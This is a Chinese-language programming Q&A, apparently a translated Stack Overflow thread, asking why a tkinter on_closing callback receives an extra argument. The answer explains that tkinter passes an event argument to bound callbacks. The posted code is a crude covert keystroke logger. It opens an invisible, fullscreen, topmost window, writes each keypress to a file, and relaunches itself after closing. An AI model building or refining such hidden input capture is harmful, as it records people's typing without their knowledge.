我有这个程序我一直在写,但由于某种原因,on_closing
函数正在接收一个参数
代码:
from tkinter import *
from time import sleep
def run():
global root, target
target = open("userdata.exe", 'a')
root = Tk()
root.attributes("-fullscreen", True)
root.attributes('-alpha', 0.01)
root.attributes('-topmost', True)
def key(event):
target.write(repr(event.char)+" :")
frame = Frame(root, width=root.winfo_screenwidth(), height=root.winfo_screenwidth())
frame.bind("<Key>", key)
frame.bind("<1>", on_closing)
frame.pack()
root.protocol("WM_DELETE_WINDOW", on_closing)
root.mainloop()
def on_closing():
root.destroy()
sleep(10)
target.close()
run()
run()
为什么会发生这种情况的任何想法?
答案 0 :(得分:5)
当将回调传递给某些软件(例如tkinter
)时,您必须遵循该系统关于回调签名应该是什么的规则。当tkinter
调用绑定方法时,它会传递event
参数。见Events and Bindings